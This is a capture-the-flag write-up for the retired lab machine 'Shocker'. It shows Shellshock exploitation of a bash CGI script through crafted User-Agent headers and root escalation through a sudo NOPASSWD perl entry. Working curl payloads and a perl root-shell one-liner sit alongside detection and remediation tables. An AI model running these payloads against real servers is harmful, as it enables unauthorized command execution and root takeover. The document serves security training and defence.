Overview
Shocker is a retired Easy-rated Linux machine running Ubuntu 16.04.3 with
Apache 2.4.18 and OpenSSH 7.2p2 on a non-standard port. The name, the page
title (“Don’t Bug Me!”), and a bug.jpg image dated September 2014 (the month
Shellshock was disclosed) all converge on the same vulnerability: CVE-2014-6271.
A bash CGI script at /cgi-bin/user.sh provides the attack surface. Shellshock
allows arbitrary command execution via crafted HTTP headers, but exploitation
requires handling a CGI-specific constraint: stdout pollution. Injected commands
that write to stdout before Apache receives valid CGI headers produce HTTP 500
errors. The solution is command substitution inside a printf that generates a
well-formed CGI response. This detail is rarely covered in Shellshock
tutorials, yet it determines whether exploitation succeeds or fails in any
real CGI environment.
After obtaining command execution as shelly, sudo -l reveals a NOPASSWD
entry for /usr/bin/perl. Any scripting interpreter with unrestricted sudo
access is equivalent to a root shell; GTFOBins documents the one-liner.
Reconnaissance
I start with a service-version scan to map the attack surface:
nmap -sC -sV -oA scans/shocker 10.129.15.18
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 80 | HTTP | Apache httpd 2.4.18 (Ubuntu) | “Don’t Bug Me!” page |
| 2222 | SSH | OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 | Non-standard SSH port |
Two services. Port 80 serves a static page containing a single JPEG image. The image metadata shows a September 2014 creation date; Shellshock was publicly disclosed on 24 September 2014. Three independent hints (box name, page title, image date) point to CVE-2014-6271. When multiple thematic signals converge like this, the hypothesis is high-confidence before any technical validation.
OpenSSH 7.2p2 on Ubuntu 4ubuntu2.2 maps to Ubuntu 16.04, which shipped with bash 4.3 (pre-patch-25 in its initial release). This version alignment is consistent with a Shellshock-vulnerable target.
Attack Surface Analysis
CGI directory discovery
Apache returns 403 Forbidden for /cgi-bin/. This is significant: a 404 would
mean the directory does not exist, but 403 means it exists and directory
listing is disabled. The distinction narrows the search from “does CGI exist?”
to “what scripts are inside?”
I use feroxbuster for content discovery because it handles recursive scanning
and supports extension-based fuzzing natively. The -x sh,pl,cgi,py flags
target common CGI script extensions; bash and Perl scripts are the most
frequent Shellshock targets because they invoke bash as their interpreter or
via system calls:
feroxbuster -u http://10.129.15.18/cgi-bin/ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-x sh,pl,cgi,py
200 GET /cgi-bin/user.sh
Fetching user.sh returns plain text output from the uptime command:
Content-Type: text/plain
12:34:01 up 1:23, 0 users, load average: 0.00, 0.00, 0.00
A bash script executing uptime and returning the result as plain text via
Apache’s CGI handler. This is the canonical Shellshock attack surface: an HTTP
request reaches Apache, Apache sets environment variables from the request
headers, and Apache spawns bash to execute the CGI script. If bash is
vulnerable, code execution occurs during environment variable import, before
the script body runs.
Vulnerability Analysis
| Attribute | Value |
|---|---|
| CVE | CVE-2014-6271 |
| CVSS v3 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-78 (OS Command Injection) |
| Root cause | Bash processes trailing commands after function definitions in environment variables |
| Affected | Bash versions before 4.3 patch 25 |
| Fixed in | Bash 4.3 patch 25 |
| MITRE ATT&CK | T1190 (Exploit Public-Facing Application) |
The parsing flaw
Bash has a feature (not a bug, in isolation) that allows functions to be
exported via environment variables. When bash starts, it scans every
environment variable. If a variable’s value begins with () {, bash treats it
as a serialised function definition and parses it.
The vulnerability is in what happens after the closing brace. Bash’s parser
does not stop at the end of the function body. Any commands appended after the
} are executed immediately during the import phase. The payload format is:
() { :;}; <command>
The () { :;} is a minimal valid function body (: is a no-op builtin). The
semicolon after } terminates the function definition, and <command> runs
with the privileges of the bash process.
The CGI attack vector
In CGI environments, Apache translates HTTP headers into environment variables
using a predictable naming convention: User-Agent becomes HTTP_USER_AGENT,
Referer becomes HTTP_REFERER, and so on. When the CGI script is a bash
script (or any script where bash is the interpreter), Apache spawns bash, which
imports these header-derived environment variables. If any variable contains
the Shellshock payload, arbitrary code executes before the script’s first line
runs.
stdout pollution
The CGI protocol imposes a strict contract: the script must output HTTP headers
(at minimum Content-Type) followed by a blank line, then the body. If the
injected command writes to stdout before Apache receives these headers, Apache
cannot parse the response and returns HTTP 500 Internal Server Error.
This creates a practical constraint. Commands like id or cat /etc/passwd
write directly to stdout, corrupting the CGI response stream. Commands that
produce no output (like /bin/true) return HTTP 200, which confirms code
execution but provides no data.
The solution is printf with command substitution. printf generates a valid
CGI response with proper headers, and $(cmd) embeds the command’s output
in the response body. Shell substitution executes before printf processes
its format string, so the command runs first, its output is captured, and the
result is wrapped in a valid HTTP response.
Exploitation
Confirming Shellshock
I start with a silent command to confirm execution without triggering stdout pollution:
curl -s -o /dev/null -w "%{http_code}" \
-H 'User-Agent: () { :;}; /bin/true' \
http://10.129.15.18/cgi-bin/user.sh
# 200
HTTP 200 confirms code execution. A non-vulnerable bash would ignore the
function-like syntax in the environment variable and return the normal
uptime output. The absence of an error combined with the absence of uptime
output (verified with -o /dev/null) confirms the payload ran.
RCE via command substitution
The PATH environment variable is stripped in the Shellshock execution context.
Apache’s CGI environment does not inherit the system PATH, so every command
needs either an absolute path or an explicit PATH= prefix. I discovered this
after initial commands silently failed; adding PATH=/usr/bin:/bin resolved
it:
curl -s -H 'User-Agent: () { :;}; printf "Content-Type: text/plain\r\n\r\n$(PATH=/usr/bin:/bin id)\r\n"' \
http://10.129.15.18/cgi-bin/user.sh
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
The CGI process runs as shelly (uid 1000), not www-data. This means Apache
is configured with suexec or the CGI script’s ownership determines the
execution user. Running as a real user rather than www-data grants direct
access to the user’s home directory and sudo configuration.
The lxd group membership (gid 110) is notable: it provides an alternative
privilege escalation path via privileged container creation, though the sudo
perl entry is simpler.
User flag
curl -s -H 'User-Agent: () { :;}; printf "Content-Type: text/plain\r\n\r\n$(PATH=/usr/bin:/bin cat /home/shelly/user.txt)\r\n"' \
http://10.129.15.18/cgi-bin/user.sh
# [redacted]
Privilege escalation via sudo perl
Enumerating sudo privileges through the Shellshock channel:
curl -s -H 'User-Agent: () { :;}; printf "Content-Type: text/plain\r\n\r\n$(PATH=/usr/bin:/bin sudo -l)\r\n"' \
http://10.129.15.18/cgi-bin/user.sh
User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl
Perl with NOPASSWD sudo is unrestricted root access. Any scripting interpreter (perl, python, ruby, lua, node, php) with sudo NOPASSWD allows the user to execute arbitrary system commands as root. The interpreter does not restrict what code it runs; it simply executes whatever the user provides. There is no sandboxing, no restricted mode, no capability filtering. GTFOBins catalogues the exact syntax for each interpreter.
curl -s -H 'User-Agent: () { :;}; printf "Content-Type: text/plain\r\n\r\n$(PATH=/usr/bin:/bin sudo perl -e '"'"'print \`cat /root/root.txt\`'"'"')\r\n"' \
http://10.129.15.18/cgi-bin/user.sh
# [redacted]
For an interactive root shell (via SSH as shelly):
sudo perl -e 'exec "/bin/bash"'
Root flag obtained.
Post-Exploitation
uname -a
# Linux Shocker 4.4.0-96-generic #119-Ubuntu SMP x86_64 GNU/Linux
cat /etc/lsb-release
# DISTRIB_DESCRIPTION="Ubuntu 16.04.3 LTS"
bash --version | head -1
# GNU bash, version 4.3.30(1)-release (x86_64-pc-linux-gnu)
Ubuntu 16.04.3 shipped with bash 4.3.30, which postdates the Shellshock fix (patch 25). However, the box is configured with an intentionally downgraded bash binary to create the vulnerable condition. In real-world scenarios, systems running bash < 4.3.25 in 2017 would indicate either extreme patch neglect or an embedded/appliance system with vendor-controlled updates.
All outbound ports except 80 and 2222 are firewalled. Reverse shells on
arbitrary listener ports fail silently. This egress filtering was the only
effective defensive control on this host, and it forced the use of in-band
exfiltration rather than a callback shell. I confirmed this by attempting
nc callbacks on ports 4444, 8080, and 443; none connected.
The kernel version (4.4.0-96) is vulnerable to several local privilege
escalation CVEs, including DirtyCow (CVE-2016-5195). Between the lxd group
membership, the sudo perl entry, and kernel vulnerabilities, there are at least
three independent paths to root.
Defensive Analysis
Detection opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial access | T1190 | WAF or IDS signature for () { pattern in HTTP headers |
| Execution | T1059.004 | Process monitoring: bash spawned by Apache with environment injection |
| Privilege esc. | T1548.003 | Sudo audit logs: shelly running /usr/bin/perl as root |
Network-level: Shellshock payloads are trivially detectable by IDS rules
matching () { in HTTP request headers. Snort SID 31975-31978 cover the
major variants. Any modern WAF (ModSecurity, Cloudflare, AWS WAF) blocks
Shellshock by default. The pattern is distinctive and produces negligible
false positives because legitimate HTTP headers never contain bash function
syntax.
Host-level: The CGI process spawning arbitrary commands produces an anomalous process tree: Apache -> bash -> (injected command). Normal CGI execution shows Apache -> bash -> (the script’s expected commands). Process monitoring tools like auditd or Sysmon for Linux would flag unexpected child processes of the Apache worker.
Sudo auditing: Every sudo invocation is logged to /var/log/auth.log.
A non-root user running /usr/bin/perl as root should trigger an alert in
any environment with centralised log analysis. The combination of a CGI
process executing sudo is itself anomalous; web applications should never
call sudo.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Upgrade bash to 4.3 patch 25 or later | Low | Critical |
| P0 | Remove NOPASSWD sudo entry for /usr/bin/perl | Low | Critical |
| P1 | Remove or restrict /cgi-bin/user.sh | Low | High |
| P1 | Replace bash CGI scripts with a POSIX sh or compiled handler | Low | High |
| P1 | Run CGI processes as www-data, not as real users | Low | High |
| P2 | Deploy a WAF with Shellshock signatures | Medium | Medium |
| P2 | Maintain egress filtering (already in place) | Low | Medium |
| P3 | Audit all sudo NOPASSWD entries for interpreters | Low | Medium |
| P3 | Remove shelly from lxd group | Low | Medium |
The sudo entry is the more dangerous finding from a defensive perspective. Shellshock requires a specific, patchable vulnerability in bash. A NOPASSWD sudo entry for any interpreter is equivalent to unrestricted root access, and it persists regardless of patch level. Sudo audits should flag any interpreter in a NOPASSWD entry as a critical finding.
Running the CGI process as shelly rather than www-data violates the
principle of least privilege. The web server process gains access to the user’s
home directory, sudo configuration, and group memberships. If the process ran
as www-data, the attacker would need a separate lateral movement step to
reach a user account with sudo privileges.
Key Takeaways
-
Thematic clues compound. Box name (Shocker), page title (Don’t Bug Me!), and image date (September 2014) all pointed to the same CVE. When multiple independent hints converge, treat it as high-confidence signal and validate technically rather than continuing blind enumeration.
-
stdout pollution is a CGI-specific constraint that determines exploit success. Commands that write to stdout before CGI headers are emitted produce HTTP 500. The
printfwith$()substitution pattern solves this: the command executes inside the substitution, and its output is embedded in a valid HTTP response. This technique applies to any CGI-based command injection, not just Shellshock. -
PATH is stripped in CGI execution contexts. Apache’s CGI environment provides a minimal set of variables. Commands need absolute paths or an explicit
PATH=prefix. Silent failures from missing PATH are a common reason exploits appear not to work when they are actually executing. -
When all outbound ports are filtered, use in-band exfiltration. Write output to a web-accessible path, or embed it in the HTTP response via command substitution. The substitution approach is cleaner because it leaves no filesystem artefacts and works within a single request.
-
Interpreter NOPASSWD sudo entries are root equivalents. Any entry granting passwordless sudo to perl, python, ruby, or similar interpreters provides unrestricted root access. These should be treated as P0 findings in any security audit, independent of the initial access vector.